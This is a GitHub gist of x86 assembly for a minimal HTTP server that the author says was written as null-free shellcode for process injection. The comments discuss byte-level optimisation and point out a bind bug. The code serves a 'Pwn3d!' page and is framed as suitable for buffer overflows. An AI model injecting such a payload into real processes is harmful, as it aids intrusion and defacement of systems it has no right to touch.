-
-
Save xenomuta/4450368 to your computer and use it in GitHub Desktop.
section .text | |
global _start | |
_start: | |
xor eax, eax | |
xor ebx, ebx | |
xor esi, esi | |
jmp _socket | |
_socket_call: | |
mov al, 0x66 | |
inc byte bl | |
mov ecx, esp | |
int 0x80 | |
jmp esi | |
_socket: | |
push byte 6 | |
push byte 1 | |
push byte 2 | |
mov esi, _bind | |
jmp _socket_call | |
_bind: | |
mov edi, eax | |
xor edx, edx | |
push dword edx | |
push word 0x6022 | |
push word bx | |
mov ecx, esp | |
push byte 0x10 | |
push ecx | |
push edi | |
mov esi, _listen | |
jmp _socket_call | |
_listen: | |
inc bl | |
push byte 0x01 | |
push edi | |
mov esi, _accept | |
jmp _socket_call | |
_accept: | |
push edx | |
push edx | |
push edi | |
mov esi, _fork | |
jmp _socket_call | |
_fork: | |
mov esi, eax | |
mov al, 0x02 | |
int 0x80 | |
test eax, eax | |
jz _write | |
xor eax, eax | |
xor ebx, ebx | |
mov bl, 0x02 | |
jmp _listen | |
_write: | |
mov ebx, esi | |
push edx | |
push dword 0x0a0d3e31 | |
push dword 0x682f3c21 | |
push dword 0x64334e77 | |
push dword 0x503e3168 | |
push dword 0x3c0a0d0a | |
push dword 0x0d6c6d74 | |
push dword 0x682f7478 | |
push dword 0x6574203a | |
push dword 0x65707954 | |
push dword 0x2d746e65 | |
push dword 0x746e6f43 | |
push dword 0x0a4b4f20 | |
push dword 0x30303220 | |
push dword 0x302e312f | |
push dword 0x50545448 | |
mov al, 0x04 | |
mov ecx, esp | |
mov dl, 64 | |
int 0x80 | |
_close: | |
mov al, 6 | |
mov ebx, esi | |
int 0x80 | |
mov al, 6 | |
mov ebx, edi | |
int 0x80 | |
_exit: | |
mov eax, 0x01 | |
xor ebx, ebx | |
int 0x80 |
I've got a fork with some comments here:
https://gist.github.com/DGivney/5917914
Thanks @DGivney a lot for your interest in this code and taking your time to comment the code. I'm sure you noticed there is no NULL bytes in the code, so It can be overflowed on to a buffer.
mov eax, 0x01
contains three 0
bytes, and could be done more efficiently (in 32-bit mode) with xor eax,eax
/ inc eax
. Or if you can assume close
didn't return an error, mov al,1
Also, inc bl
is 2 bytes; inc ebx
is 1 byte.
See https://codegolf.stackexchange.com/questions/132981/tips-for-golfing-in-x86-x64-machine-code
It would probably also be worthwhile to include the string for write
as literal data (maybe at the end with the jmp / call / pop trick to get its address into a register), instead of spending 1 byte for every 4 on a push
opcode.
Also, note that push byte 0x01
is still a dword push (because only word and the default operand-size are available for push). And NASM would pick a 1-byte immediate by default, so IMO it's more misleading than helpful especially when other places in the source use push word ...
which looks similar but is very different.
If you want to enforce the size of the immediate, use push strict byte 1
. The strict
keyword exists to force encodings.
Note that this is buggy; the bind
system call passes sa_family=AF_UNIX
, and doesn't end up binding to a specific TCP port, instead letting the kernel randomly pick which one it listens on.
https://stackoverflow.com/questions/67445637/why-doesnt-this-assembly-http-server-work
$ strace ./httpd
execve("./httpd", ["./httpd"], 0x7ffde685ac10 /* 54 vars */) = 0
[ Process PID=615796 runs in 32 bit mode. ]
socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
bind(3, {sa_family=AF_UNIX, sun_path="\"`"}, 16) = -1 EAFNOSUPPORT (Address family not supported by protocol)
syscall_0xffffffffffffff66(0x4, 0xffd53c58, 0, 0x8049043, 0x3, 0) = -1 ENOSYS (Function not implemented)
syscall_0xffffffffffffff66(0x5, 0xffd53c4c, 0, 0x804904d, 0x3, 0) = -1 ENOSYS (Function not implemented)
syscall_0xffffffffffffff02(0x5, 0xffd53c4c, 0, 0xffffffda, 0x3, 0) = -1 ENOSYS (Function not implemented)
listen(3, 1) = 0
accept(3, NULL, NULL
(Same behaviour as https://gist.github.com/DGivney/5917914 which was forked from this.)
nash-f is another small HTTP server, coming down to 194B without content (or 229 bytes with the obligatory <h1>Hello!</h1>
)
mov eax, 0x01
contains three0
bytes, and could be done more efficiently (in 32-bit mode) withxor eax,eax
/inc eax
. Or if you can assumeclose
didn't return an error,mov al,1
@pcordes xor
/inc
is definitely smaller, but the fact is that code's purpose was to be used as a null-free shellcode (as used by Cymothoa Shellcode Injector featured on Phrack issue #64 Crossbower's article on parasite code for linux. So, by the time you land on the code you don't want to take chances the high EAX
(AH
) might not be zeroed.
Also,
inc bl
is 2 bytes;inc ebx
is 1 byte.See https://codegolf.stackexchange.com/questions/132981/tips-for-golfing-in-x86-x64-machine-code
I'm pretty sure I could optimize the hell out of this code and make much smaller (and ugglier), but It would not be so useful today. Maybe porting this to x64 or ARM would be more beneficial.
It would probably also be worthwhile to include the string for
write
as literal data (maybe at the end with the jmp / call / pop trick to get its address into a register), instead of spending 1 byte for every 4 on apush
opcode.Also, note that
push byte 0x01
is still a dword push (because only word and the default operand-size are available for push). And NASM would pick a 1-byte immediate by default, so IMO it's more misleading than helpful especially when other places in the source usepush word ...
which looks similar but is very different.
If you want to enforce the size of the immediate, usepush strict byte 1
. Thestrict
keyword exists to force encodings.
About this... pretty sure I got missed some gotchas translating this from ATT&T/Motorola syntax into NASM's Intel-lish syntax. To clear any doubts, better check my original raw shellcode and assembly code as posted on milw0rm.com and later exploit-db circa 2009.
Maybe that is also the reason bind()
ends up with an unclean structure from stack with wrong sock type.
nash-f is an even smaller HTTP server, coming down to 194B without content (or 229 bytes with the obligatory
<h1>Hello!</h1>
)
No it's not:
- my original bytecode: 166 bytes
- nash-f: 229 bytes
Also, the purpose of the original httpd.asm
was to avoid null bytes.
nash-f
's server code is full of 00
s, which then trims strings and kills exploitability of some vulnerable string functions.
@xenomuta My apologies. I'm still somewhat new to all of this. I've edited my comment.
Also, thank you for the clarifications, very educational!
@xenomuta My apologies. I'm still somewhat new to all of this. I've edited my comment.
Also, thank you for the clarifications, very educational!
Oh that's ok, no need to apologize. You're welcome.
Keep the good stuff going.
Would you be willing to add comments to this? Especially for the values you are pushing to the stack?